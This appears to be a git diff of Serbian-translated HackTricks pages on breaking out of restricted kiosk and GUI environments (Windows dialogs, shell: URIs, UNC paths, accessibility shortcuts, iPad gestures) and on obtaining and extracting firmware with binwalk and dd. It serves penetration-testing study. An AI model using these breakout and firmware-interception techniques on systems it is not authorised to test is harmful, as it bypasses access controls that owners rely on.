* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Provera mogućih akcija unutar GUI aplikacije
|
||||||
|
|
||||||
|
**Uobičajeni dijalozi** su opcije **čuvanja fajla**, **otvaranja fajla**, izbora fonta, boje... Većina njih će **ponuditi punu funkcionalnost Explorer-a**. To znači da ćete moći pristupiti funkcionalnostima Explorer-a ako možete pristupiti ovim opcijama:
|
||||||
|
|
||||||
|
* Zatvori/Zatvori kao
|
||||||
|
* Otvori/Otvori sa
|
||||||
|
* Štampaj
|
||||||
|
* Izvoz/Uvoz
|
||||||
|
* Pretraga
|
||||||
|
* Skeniranje
|
||||||
|
|
||||||
|
Treba da proverite da li možete:
|
||||||
|
|
||||||
|
* Izmeniti ili kreirati nove fajlove
|
||||||
|
* Kreirati simboličke linkove
|
||||||
|
* Pristupiti ograničenim područjima
|
||||||
|
* Izvršiti druge aplikacije
|
||||||
|
|
||||||
|
## Izvršavanje komandi
|
||||||
|
|
||||||
|
Možda **koristeći opciju `Otvori sa`** možete otvoriti/izvršiti neku vrstu shell-a.
|
||||||
|
|
||||||
|
### Windows
|
||||||
|
|
||||||
|
Na primer _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ pronađite više binarnih fajlova koji se mogu koristiti za izvršavanje komandi (i izvršavanje neočekivanih akcija) ovde: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||||
|
|
||||||
|
### \*NIX __
|
||||||
|
|
||||||
|
_bash, sh, zsh..._ Više ovde: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||||
|
|
||||||
|
# Windows
|
||||||
|
|
||||||
|
## Zaobilaženje restrikcija putanje
|
||||||
|
|
||||||
|
* **Okružne promenljive**: Postoji mnogo okružnih promenljivih koje pokazuju na neku putanju
|
||||||
|
* **Drugi protokoli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||||
|
* **Simbolički linkovi**
|
||||||
|
* **Prečice**: CTRL+N (otvori novu sesiju), CTRL+R (Izvrši komande), CTRL+SHIFT+ESC (Upravitelj zadataka), Windows+E (otvori explorer), CTRL-B, CTRL-I (Omiljeni), CTRL-H (Istorija), CTRL-L, CTRL-O (Dijalog za otvaranje fajla), CTRL-P (Dijalog za štampanje), CTRL-S (Sačuvaj kao)
|
||||||
|
* Skriveni administratorski meni: CTRL-ALT-F8, CTRL-ESC-F9
|
||||||
|
* **Shell URI-ji**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||||
|
* **UNC putanje**: Putanje za povezivanje sa deljenim fasciklama. Trebali biste pokušati da se povežete sa C$ lokalne mašine ("\\\127.0.0.1\c$\Windows\System32")
|
||||||
|
* **Još UNC putanja:**
|
||||||
|
|
||||||
|
| UNC | UNC | UNC |
|
||||||
|
| ------------------------- | -------------- | -------------------- |
|
||||||
|
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
|
||||||
|
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
|
||||||
|
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
|
||||||
|
| %LOGONSERVER% | %PATH% | %PATHEXT% |
|
||||||
|
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
|
||||||
|
| %PROMPT% | %PSModulePath% | %Public% |
|
||||||
|
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||||
|
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||||
|
| %USERPROFILE% | %WINDIR% | |
|
||||||
|
|
||||||
|
## Preuzmite svoje binarne fajlove
|
||||||
|
|
||||||
|
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||||
|
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||||
|
Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||||
|
|
||||||
|
## Pristupanje fajl sistemu preko browser-a
|
||||||
|
|
||||||
|
| PUTANJA | PUTANJA | PUTANJA | PUTANJA |
|
||||||
|
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||||
|
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||||
|
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||||
|
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||||
|
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||||
|
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||||
|
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||||
|
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||||
|
|
||||||
|
## Prečice
|
||||||
|
|
||||||
|
* Lepkaste tipke - Pritisnite SHIFT 5 puta
|
||||||
|
* Miš tastere - SHIFT+ALT+NUMLOCK
|
||||||
|
* Visok kontrast - SHIFT+ALT+PRINTSCN
|
||||||
|
* Prekidač tastere - Držite NUMLOCK 5 sekundi
|
||||||
|
* Filter tastere - Držite desni SHIFT 12 sekundi
|
||||||
|
* WINDOWS+F1 - Windows pretraga
|
||||||
|
* WINDOWS+D - Prikaz radne površine
|
||||||
|
* WINDOWS+E - Pokreni Windows Explorer
|
||||||
|
* WINDOWS+R - Pokreni
|
||||||
|
* WINDOWS+U - Centar za olakšavanje pristupa
|
||||||
|
* WINDOWS+F - Pretraga
|
||||||
|
* SHIFT+F10 - Kontekstni meni
|
||||||
|
* CTRL+SHIFT+ESC - Upravitelj zadataka
|
||||||
|
* CTRL+ALT+DEL - Ekran za prijavu na novijim verzijama Windows-a
|
||||||
|
* F1 - Pomoć F3 - Pretraga
|
||||||
|
* F6 - Traka adrese
|
||||||
|
* F11 - Uključivanje/isključivanje prikaza preko celog ekrana u Internet Explorer-u
|
||||||
|
* CTRL+H - Istorija Internet Explorer-a
|
||||||
|
* CTRL+T - Internet Explorer - Novi tab
|
||||||
|
* CTRL+N - Internet Explorer - Nova stranica
|
||||||
|
* CTRL+O - Otvori fajl
|
||||||
|
* CTRL+S - Sačuvaj CTRL+N - Novi RDP / Citrix
|
||||||
|
## Swajpovi
|
||||||
|
|
||||||
|
* Swajp s leve strane na desnu da biste videli sve otvorene prozore, minimizirajući KIOSK aplikaciju i pristupajući celom operativnom sistemu direktno;
|
||||||
|
* Swajp s desne strane na levu da biste otvorili Action Center, minimizirajući KIOSK aplikaciju i pristupajući celom operativnom sistemu direktno;
|
||||||
|
* Swajp od vrha ekrana da biste videli traku sa naslovom za aplikaciju otvorenu u režimu punog ekrana;
|
||||||
|
* Swajp od dna ekrana da biste prikazali traku sa zadacima u aplikaciji u punom ekranu.
|
||||||
|
|
||||||
|
## Trikovi za Internet Explorer
|
||||||
|
|
||||||
|
### 'Image Toolbar'
|
||||||
|
|
||||||
|
To je traka sa alatkama koja se pojavljuje na gornjem levom delu slike kada se klikne na nju. Moći ćete da sačuvate, odštampate, pošaljete e-poštu, otvorite "Moje slike" u Exploreru. Kiosk mora koristiti Internet Explorer.
|
||||||
|
|
||||||
|
### Shell Protocol
|
||||||
|
|
||||||
|
Unesite ove URL-ove da biste dobili prikaz Explorer-a:
|
||||||
|
|
||||||
|
* `shell:Administrative Tools`
|
||||||
|
* `shell:DocumentsLibrary`
|
||||||
|
* `shell:Libraries`
|
||||||
|
* `shell:UserProfiles`
|
||||||
|
* `shell:Personal`
|
||||||
|
* `shell:SearchHomeFolder`
|
||||||
|
* `shell:NetworkPlacesFolder`
|
||||||
|
* `shell:SendTo`
|
||||||
|
* `shell:UserProfiles`
|
||||||
|
* `shell:Common Administrative Tools`
|
||||||
|
* `shell:MyComputerFolder`
|
||||||
|
* `shell:InternetFolder`
|
||||||
|
* `Shell:Profile`
|
||||||
|
* `Shell:ProgramFiles`
|
||||||
|
* `Shell:System`
|
||||||
|
* `Shell:ControlPanelFolder`
|
||||||
|
* `Shell:Windows`
|
||||||
|
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Control Panel
|
||||||
|
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Computer
|
||||||
|
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Network Places
|
||||||
|
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||||
|
|
||||||
|
## Prikazivanje ekstenzija fajlova
|
||||||
|
|
||||||
|
Proverite ovu stranicu za više informacija: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||||
|
|
||||||
|
# Trikovi za pretraživače
|
||||||
|
|
||||||
|
Rezervne verzije iKat-a:
|
||||||
|
|
||||||
|
[http://swin.es/k/](http://swin.es/k/)\
|
||||||
|
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||||
|
|
||||||
|
Kreirajte zajednički dijalog koristeći JavaScript i pristupite istraživaču fajlova: `document.write('<input/type=file>')`
|
||||||
|
Izvor: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||||
|
|
||||||
|
# iPad
|
||||||
|
|
||||||
|
## Gestovi i dugmad
|
||||||
|
|
||||||
|
* Swajp nagore sa četiri (ili pet) prsta / Dvoklik na dugme Home: Da biste videli prikaz više zadataka i promenili aplikaciju
|
||||||
|
|
||||||
|
* Swajp na jednu ili drugu stranu sa četiri ili pet prstiju: Da biste promenili na sledeću/prethodnu aplikaciju
|
||||||
|
|
||||||
|
* Štipanje ekrana sa pet prstiju / Dodir dugmeta Home / Swajp nagore jednim prstom sa dna ekrana brzim pokretom prema gore: Da biste pristupili Početnom ekranu
|
||||||
|
|
||||||
|
* Swajp jednim prstom sa dna ekrana samo 1-2 inča (sporo): Pojavljuje se dock
|
||||||
|
|
||||||
|
* Swajp nadole sa vrha ekrana jednim prstom: Da biste videli obaveštenja
|
||||||
|
|
||||||
|
* Swajp nadole jednim prstom u gornjem desnom uglu ekrana: Da biste videli kontrolni centar iPad Pro-a
|
||||||
|
|
||||||
|
* Swajp jednim prstom sa leve strane ekrana 1-2 inča: Da biste videli današnji prikaz
|
||||||
|
|
||||||
|
* Brzi swajp jednim prstom sa centra ekrana udesno ili ulevo: Da biste promenili na sledeću/prethodnu aplikaciju
|
||||||
|
|
||||||
|
* Pritisnite i držite dugme On/**Off**/Sleep u gornjem desnom uglu **iPad +** Pomerite klizač Slide to **power off** sve do kraja udesno: Da biste isključili napajanje
|
||||||
|
|
||||||
|
* Pritisnite dugme On/**Off**/Sleep u gornjem desnom uglu **iPad-a i dugme Home nekoliko sekundi**: Da biste prinudno isključili napajanje
|
||||||
|
|
||||||
|
* Pritisnite dugme On/**Off**/Sleep u gornjem desnom uglu **iPad-a i dugme Home brzo**: Da biste napravili snimak ekrana koji će se pojaviti u donjem levom uglu ekrana. Pritisnite oba dugmeta istovremeno veoma kratko, jer ako ih držite nekoliko sekundi, izvršiće se prinudno isključivanje napajanja.
|
||||||
|
|
||||||
|
## Prečice
|
||||||
|
|
||||||
|
Treba vam tastatura za iPad ili adapter za USB tastaturu. Ovde će biti prikazane samo prečice koje mogu pomoći pri izlasku iz aplikacije.
|
||||||
|
|
||||||
|
| Taster | Naziv |
|
||||||
|
| ------ | ------------- |
|
||||||
|
| ⌘ | Komanda |
|
||||||
|
| ⌥ | Opcija (Alt) |
|
||||||
|
| ⇧ | Shift |
|
||||||
|
| ↩ | Povratak |
|
||||||
|
| ⇥ | Tab |
|
||||||
|
| ^ | Kontrola |
|
||||||
|
| ← | Leva strelica |
|
||||||
|
| → | Desna strelica|
|
||||||
|
| ↑ | Gornja strelica |
|
||||||
|
| ↓ | Donja strelica |
|
||||||
|
|
||||||
|
### Sistemske prečice
|
||||||
|
|
||||||
|
Ove prečice su za vizuelna podešavanja i podešavanja zvuka, u zavisnosti od upotrebe iPada.
|
||||||
|
|
||||||
|
| Prečica | Radnja |
|
||||||
|
| -------- | ------------------------------------------------------------------------------ |
|
||||||
|
| F1 | Smanji osvetljenost ekrana |
|
||||||
|
| F2 | Povećaj osvetljenost ekrana |
|
||||||
|
| F7 | Nazad jedna pesma |
|
||||||
|
| F8 | Pusti/pauziraj |
|
||||||
|
| F9 | Preskoči pesmu |
|
||||||
|
| F10 | Isključi zvuk |
|
||||||
|
| F11 | Smanji jačinu zvuka |
|
||||||
|
| F12 | Povećaj jačinu zvuka |
|
||||||
|
| ⌘ Space | Prikazuje listu dostupnih jezika; da biste izabrali jedan, ponovo dodirnite razmaknicu. |
|
||||||
|
|
||||||
|
### Navigacija na iPad-u
|
||||||
|
|
||||||
|
| Prečica | Radnja |
|
||||||
|
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||||
|
| ⌘H | Idi na Početni ekran |
|
||||||
|
| ⌘⇧H (Command-Shift-H) | Idi na Početni ekran |
|
||||||
|
| ⌘ (Space) | Otvori Spotlight |
|
||||||
|
| ⌘⇥ (Command-Tab) | Prikazuje poslednjih deset korišćenih aplikacija |
|
||||||
|
| ⌘\~ | Idi na poslednju aplikaciju |
|
||||||
|
| ⌘⇧3 (Command-Shift-3) | Snimak ekrana (lebdi u donjem levom uglu za čuvanje ili radnju) |
|
||||||
|
| ⌘⇧4 | Snimak ekrana i otvori ga u editoru |
|
||||||
|
| Pritisnite i držite ⌘ | Lista dostupnih prečica za aplikaciju |
|
||||||
|
| ⌘⌥D (Command-Option/Alt-D) | Prikazuje dock |
|
||||||
|
| ^⌥H (Control-Option-H) | Dugme Početni ekran |
|
||||||
|
| ^⌥H H (Control-Option-H-H) | Prikazuje traku sa više zadataka |
|
||||||
|
| ^⌥I (Control-Option-i) | Biranje stavke |
|
||||||
|
| Escape | Dugme Nazad |
|
||||||
|
| → (Desna strelica) | Sledeća stavka |
|
||||||
|
| ← (Leva strelica) | Prethodna stavka |
|
||||||
|
| ↑↓ (Gornja strelica, Donja strelica) | Istovremeno dodirnite izabranu stavku |
|
||||||
|
| ⌥ ↓ (Opcija-Dole) | Pomeranje nadole |
|
||||||
|
| ⌥↑ (Opcija-Gore) | Pomeranje nagore |
|
||||||
|
| ⌥← ili ⌥→ (Opcija-Leva strelica ili Opcija-Desna strelica) | Pomeranje ulevo ili udesno |
|
||||||
|
| ^⌥S (Control-Option-S) | Uključivanje ili isključivanje govora VoiceOver |
|
||||||
|
| ⌘⇧⇥ (Command-Shift-Tab) | Prebacivanje na prethodnu aplikaciju |
|
||||||
|
| ⌘⇥ (Command-Tab) | Vraćanje na originalnu aplikaciju |
|
||||||
|
| ←+→, zatim O
|
||||||
|
### Prečice u Safariju
|
||||||
|
|
||||||
|
| Prečica | Radnja |
|
||||||
|
| ----------------------- | ------------------------------------------------- |
|
||||||
|
| ⌘L (Command-L) | Otvori lokaciju |
|
||||||
|
| ⌘T | Otvori novi tab |
|
||||||
|
| ⌘W | Zatvori trenutni tab |
|
||||||
|
| ⌘R | Osvježi trenutni tab |
|
||||||
|
| ⌘. | Zaustavi učitavanje trenutnog taba |
|
||||||
|
| ^⇥ | Prebaci se na sljedeći tab |
|
||||||
|
| ^⇧⇥ (Control-Shift-Tab) | Prebaci se na prethodni tab |
|
||||||
|
| ⌘L | Odaberi tekstualni unos/URL polje za izmjenu |
|
||||||
|
| ⌘⇧T (Command-Shift-T) | Otvori posljednje zatvoreni tab (može se koristiti više puta) |
|
||||||
|
| ⌘\[ | Vrati se jednu stranicu unazad u povijesti pregledavanja |
|
||||||
|
| ⌘] | Idi jednu stranicu unaprijed u povijesti pregledavanja |
|
||||||
|
| ⌘⇧R | Aktiviraj način čitača |
|
||||||
|
|
||||||
|
### Prečice u Mailu
|
||||||
|
|
||||||
|
| Prečica | Radnja |
|
||||||
|
| -------------------------- | ------------------------------ |
|
||||||
|
| ⌘L | Otvori lokaciju |
|
||||||
|
| ⌘T | Otvori novi tab |
|
||||||
|
| ⌘W | Zatvori trenutni tab |
|
||||||
|
| ⌘R | Osvježi trenutni tab |
|
||||||
|
| ⌘. | Zaustavi učitavanje trenutnog taba |
|
||||||
|
| ⌘⌥F (Command-Option/Alt-F) | Pretraži svoj poštanski sandučić |
|
||||||
|
|
||||||
|
# Reference
|
||||||
|
|
||||||
|
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||||
|
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||||
|
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||||
|
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite vidjeti **oglašavanje vaše kompanije na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** Provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podijelite svoje hakirajuće trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
278
hardware-physical-access/firmware-analysis/README.md
Normal file
278
hardware-physical-access/firmware-analysis/README.md
Normal file
|
@ -0,0 +1,278 @@
|
||||||
|
# Firmware Analysis
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## **Uvod**
|
||||||
|
|
||||||
|
Firmware je osnovni softver koji omogućava uređajima pravilan rad upravljanjem i olakšavanjem komunikacije između hardverskih komponenti i softvera sa kojim korisnici interaguju. On se čuva u trajnoj memoriji, obezbeđujući da uređaj može pristupiti vitalnim instrukcijama od trenutka kada se uključi, što dovodi do pokretanja operativnog sistema. Ispitivanje i potencijalna modifikacija firmware-a je ključni korak u identifikaciji bezbednosnih ranjivosti.
|
||||||
|
|
||||||
|
## **Prikupljanje informacija**
|
||||||
|
|
||||||
|
**Prikupljanje informacija** je ključni početni korak u razumevanju sastava uređaja i tehnologija koje koristi. Ovaj proces uključuje prikupljanje podataka o:
|
||||||
|
|
||||||
|
* Arhitekturi CPU-a i operativnom sistemu koji se koristi
|
||||||
|
* Specifičnostima bootloader-a
|
||||||
|
* Hardverskom rasporedu i tehničkim listovima
|
||||||
|
* Metrikama koda i lokacijama izvora
|
||||||
|
* Spoljnim bibliotekama i vrstama licenci
|
||||||
|
* Istorijama ažuriranja i regulatornim sertifikatima
|
||||||
|
* Arhitektonskim i protokolarnim dijagramima
|
||||||
|
* Bezbednosnim procenama i identifikovanim ranjivostima
|
||||||
|
|
||||||
|
Za ove svrhe, alati za **otvorenu obaveštajnu (OSINT)** su neprocenjivi, kao i analiza dostupnih komponenti softvera otvorenog koda kroz ručne i automatske procese pregleda. Alati poput [Coverity Scan](https://scan.coverity.com) i [Semmle’s LGTM](https://lgtm.com/#explore) nude besplatnu statičku analizu koja se može iskoristiti za pronalaženje potencijalnih problema.
|
||||||
|
|
||||||
|
## **Dobijanje firmware-a**
|
||||||
|
|
||||||
|
Dobijanje firmware-a može se pristupiti na različite načine, pri čemu svaki ima svoj nivo složenosti:
|
||||||
|
|
||||||
|
* **Direktno** od izvora (programeri, proizvođači)
|
||||||
|
* **Izgradnja** prema pruženim instrukcijama
|
||||||
|
* **Preuzimanje** sa zvaničnih podrška sajtova
|
||||||
|
* Korišćenje **Google dork** upita za pronalaženje smeštenih firmware fajlova
|
||||||
|
* Direktan pristup **cloud skladištu**, uz pomoć alata kao što je [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||||
|
* Presretanje **ažuriranja** putem tehnika man-in-the-middle
|
||||||
|
* **Izdvajanje** sa uređaja putem veza kao što su **UART**, **JTAG** ili **PICit**
|
||||||
|
* **Snifiranje** zahteva za ažuriranje unutar komunikacije uređaja
|
||||||
|
* Identifikacija i korišćenje **hardkodiranih krajnjih tačaka za ažuriranje**
|
||||||
|
* **Dumpovanje** iz bootloader-a ili mreže
|
||||||
|
* **Uklanjanje i čitanje** čipa za skladištenje, kada sve drugo ne uspe, koristeći odgovarajuće hardverske alate
|
||||||
|
|
||||||
|
## Analiza firmware-a
|
||||||
|
|
||||||
|
Sada kada **imate firmware**, trebate izvući informacije o njemu kako biste znali kako da ga obradite. Različiti alati koje možete koristiti za to:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
file <bin>
|
||||||
|
strings -n8 <bin>
|
||||||
|
strings -tx <bin> #print offsets in hex
|
||||||
|
hexdump -C -n 512 <bin> > hexdump.out
|
||||||
|
hexdump -C <bin> | head # might find signatures in header
|
||||||
|
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||||
|
```
|
||||||
|
|
||||||
|
Ako ne pronađete mnogo pomoću tih alata, proverite **entropiju** slike pomoću `binwalk -E <bin>`. Ako je entropija niska, verovatno nije šifrovana. Ako je entropija visoka, verovatno je šifrovana (ili kompresovana na neki način).
|
||||||
|
|
||||||
|
Osim toga, možete koristiti ove alate za izdvajanje **fajlova ugrađenih u firmware**:
|
||||||
|
|
||||||
|
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
Ili [**binvis.io**](https://binvis.io/#/) ([kod](https://code.google.com/archive/p/binvis/)) za pregled fajla.
|
||||||
|
|
||||||
|
### Dobijanje fajl sistema
|
||||||
|
|
||||||
|
Pomoću prethodno pomenutih alata kao što je `binwalk -ev <bin>`, trebali biste biti u mogućnosti da **izvučete fajl sistem**.\
|
||||||
|
Binwalk obično izvlači fajl sistem unutar **foldera koji se naziva po tipu fajl sistema**, a obično je jedan od sledećih: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||||
|
|
||||||
|
#### Ručno izdvajanje fajl sistema
|
||||||
|
|
||||||
|
Ponekad, binwalk **nema magični bajt fajl sistema u svojim potpisima**. U tim slučajevima, koristite binwalk da **pronađete offset fajl sistema i izdvojite kompresovani fajl sistem** iz binarnog fajla i **ručno izdvojite** fajl sistem prema njegovom tipu koristeći sledeće korake.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
|
DECIMAL HEXADECIMAL DESCRIPTION
|
||||||
|
----------------------------------------------------------------------------- ---
|
||||||
|
|
||||||
|
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
|
||||||
|
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
|
||||||
|
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||||
|
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||||
|
```
|
||||||
|
|
||||||
|
Pokrenite sledeću **dd komandu** za izdvajanje Squashfs fajl sistema.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
|
|
||||||
|
8257536+0 records in
|
||||||
|
|
||||||
|
8257536+0 records out
|
||||||
|
|
||||||
|
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternativno, mogla bi se pokrenuti i sledeća komanda.
|
||||||
|
|
||||||
|
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||||
|
|
||||||
|
* Za squashfs (korišćeno u prethodnom primeru)
|
||||||
|
|
||||||
|
`$ unsquashfs dir.squashfs`
|
||||||
|
|
||||||
|
Datoteke će se nalaziti u direktorijumu "`squashfs-root`" nakon toga.
|
||||||
|
|
||||||
|
* CPIO arhivske datoteke
|
||||||
|
|
||||||
|
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||||
|
|
||||||
|
* Za jffs2 fajl sisteme
|
||||||
|
|
||||||
|
`$ jefferson rootfsfile.jffs2`
|
||||||
|
|
||||||
|
* Za ubifs fajl sisteme sa NAND flešom
|
||||||
|
|
||||||
|
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||||
|
|
||||||
|
`$ ubidump.py <bin>`
|
||||||
|
|
||||||
|
## Analiza Firmware-a
|
||||||
|
|
||||||
|
Kada se dobije firmware, neophodno je da se analizira kako bi se razumela njegova struktura i potencijalne ranjivosti. Ovaj proces uključuje korišćenje različitih alata za analizu i izvlačenje korisnih podataka iz slike firmware-a.
|
||||||
|
|
||||||
|
### Alati za početnu analizu
|
||||||
|
|
||||||
|
Niz komandi je dostupan za početni pregled binarnog fajla (nazvanog `<bin>`). Ove komande pomažu u identifikaciji vrsta datoteka, izvlačenju stringova, analizi binarnih podataka i razumevanju detalja particija i fajl sistema:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
file <bin>
|
||||||
|
strings -n8 <bin>
|
||||||
|
strings -tx <bin> #prints offsets in hexadecimal
|
||||||
|
hexdump -C -n 512 <bin> > hexdump.out
|
||||||
|
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||||
|
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||||
|
```
|
||||||
|
|
||||||
|
Da biste procenili status enkripcije slike, proverava se **entropija** pomoću `binwalk -E <bin>`. Niska entropija ukazuje na nedostatak enkripcije, dok visoka entropija ukazuje na moguću enkripciju ili kompresiju.
|
||||||
|
|
||||||
|
Za izdvajanje **ugrađenih datoteka**, preporučuju se alati i resursi poput dokumentacije **file-data-carving-recovery-tools** i alata **binvis.io** za inspekciju datoteka.
|
||||||
|
|
||||||
|
### Izdvajanje fajl sistema
|
||||||
|
|
||||||
|
Korišćenjem `binwalk -ev <bin>`, obično se može izdvojiti fajl sistem, često u direktorijum sa nazivom fajl sistemskog tipa (npr. squashfs, ubifs). Međutim, kada **binwalk** ne uspe da prepozna tip fajl sistema zbog nedostajućih magičnih bajtova, neophodno je ručno izdvajanje. To uključuje korišćenje `binwalk`-a za pronalaženje offseta fajl sistema, a zatim korišćenje `dd` komande za izdvajanje fajl sistema:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
|
```
|
||||||
|
|
||||||
|
